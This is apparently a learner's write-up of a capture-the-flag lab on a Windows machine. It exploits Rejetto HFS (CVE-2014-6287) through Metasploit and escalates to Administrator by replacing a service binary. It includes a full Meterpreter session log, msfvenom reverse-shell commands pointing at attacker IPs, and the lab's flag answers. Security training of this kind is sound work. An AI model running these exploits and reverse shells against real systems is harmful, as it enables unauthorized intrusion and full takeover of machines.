cowsay++

In this room you will enumerate a Windows machine, gain initial access with Metasploit, use Powershell to further enumerate the machine and escalate your privileges to Administrator.

If you don't have the right security tools and environment, deploy your own Kali Linux machine and control it in your browser, with our Kali Room.

Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.

┌──(kali㉿kali)-[~/Downloads/steel_mountain]
└─$ ls  
BillHarper.png  HVTz2Ca.png
                                        

Who is the employee of the month? (Reverse image search) Bill Harper

Initial Access

Now you have deployed the machine, lets get an initial shell!

Scan the machine with nmap. What is the other port running a web server on? 8080

Take a look at the other web server. What file server is running? Rejetto Http File Server (after pressing Server information HttpFileServer 2.3 Server time: 8/25/2022 10:45:07 AM Server uptime: 00:11:39 so the url is http://www.rejetto.com/hfs/ and hfs means Http File Server)

What is the CVE number to exploit this file server? *2014-6287 * (explot-db -> https://www.exploit-db.com/exploits/39161)

root@kali:~# msfconsole
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v5.0.101-dev                         ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View advanced module options with advanced

msf5 > search rejetto

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/windows/http/rejetto_hfs_exec  2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution                                   


msf5 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/rejetto_hfs_exec) > options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.100.38     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

*lhost here is default*
msf5 exploit(windows/http/rejetto_hfs_exec) > set rhosts 10.10.24.125
rhosts => 10.10.24.125
msf5 exploit(windows/http/rejetto_hfs_exec) > set rport 8080
rport => 8080
msf5 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.100.38:4444 
[*] Using URL: http://0.0.0.0:8080/2DxfeX
[*] Local IP: http://10.10.100.38:8080/2DxfeX
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /2DxfeX
[*] Sending stage (176195 bytes) to 10.10.24.125
[*] Meterpreter session 1 opened (10.10.100.38:4444 -> 10.10.24.125:49275) at 2022-08-25 18:12:40 +0000
[!] Tried to delete %TEMP%\lrVQSgCCUL.vbs, unknown result
[*] Sending stage (176195 bytes) to 167.94.145.57
[*] Server stopped.


meterpreter > search -f user.txt
Found 1 result...
    c:\Users\bill\Desktop\user.txt (70 bytes)
meterpreter > cat c:\Users\bill\Desktop\user.txt
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > cat "c:\Users\bill\Desktop\user.txt"
��b04763b6fcf51fcd7c13abc7db4fd365

Use Metasploit to get an initial shell. What is the user flag? b04763b6fcf51fcd7c13abc7db4fd365

Privilege Escalation

Now that you have an initial shell on this Windows machine as Bill, we can further enumerate the machine and escalate our privileges to root! Answer the questions below

To enumerate this machine, we will use a powershell script called PowerUp, that's purpose is to evaluate a Windows machine and determine any abnormalities - "PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations."

You can download the script here. Now you can use the upload command in Metasploit to upload the script

To execute this using Meterpreter, I will type load powershell into meterpreter. Then I will enter powershell by entering powershell_shell:

Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability? AdvancedSystemCareService9

The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program! Use msfvenom to generate a reverse shell as an Windows executable. msfvenom -p windows/shell_reverse_tcp LHOST=10.11.81.220 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe Upload your binary and replace the legitimate one. Then restart the program to get a shell as root. Note: The service showed up as being unquoted (and could be exploited using this technique), however, in this case we have exploited weak file permissions on the service files instead. No answer needed

What is the root flag? 9af5f314f57607c00fd09803a587db80

Access and Escalation Without Metasploit

Now let's complete the room without the use of Metasploit.

For this we will utilise powershell and winPEAS to enumerate the system and collect the relevant information to escalate to Answer the questions below

To begin we shall be using the same CVE. However, this time let's use this exploit.

Note that you will need to have a web server and a netcat listener active at the same time in order for this to work!

To begin, you will need a netcat static binary on your web server. If you do not have one, you can download it from GitHub!

You will need to run the exploit twice. The first time will pull our netcat binary to the system and the second will execute our payload to gain a callback! No answer needed

Congratulations, we're now onto the system. Now we can pull winPEAS to the system using powershell -c.

Once we run winPeas, we see that it points us towards unquoted paths. We can see that it provides us with the name of the service it is also running.

What powershell -c command could we run to manually find out the service name?

Format is "powershell -c "command here" powershell -c "Get-Service"

Now let's escalate to Administrator with our new found knowledge.

Generate your payload using msfvenom and pull it to the system using powershell.

Now we can move our payload to the unquoted directory winPEAS alerted us to and restart the service with two commands.

First we need to stop the service which we can do like so;

sc stop AdvancedSystemCareService9

Shortly followed by;

sc start AdvancedSystemCareService9

Once this command runs, you will see you gain a shell as Administrator on our listener! (msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -e x86/shikata_ga_nai -f exe -o Advanced.exe) No answer needed

[[Active Directory Basics(1)]]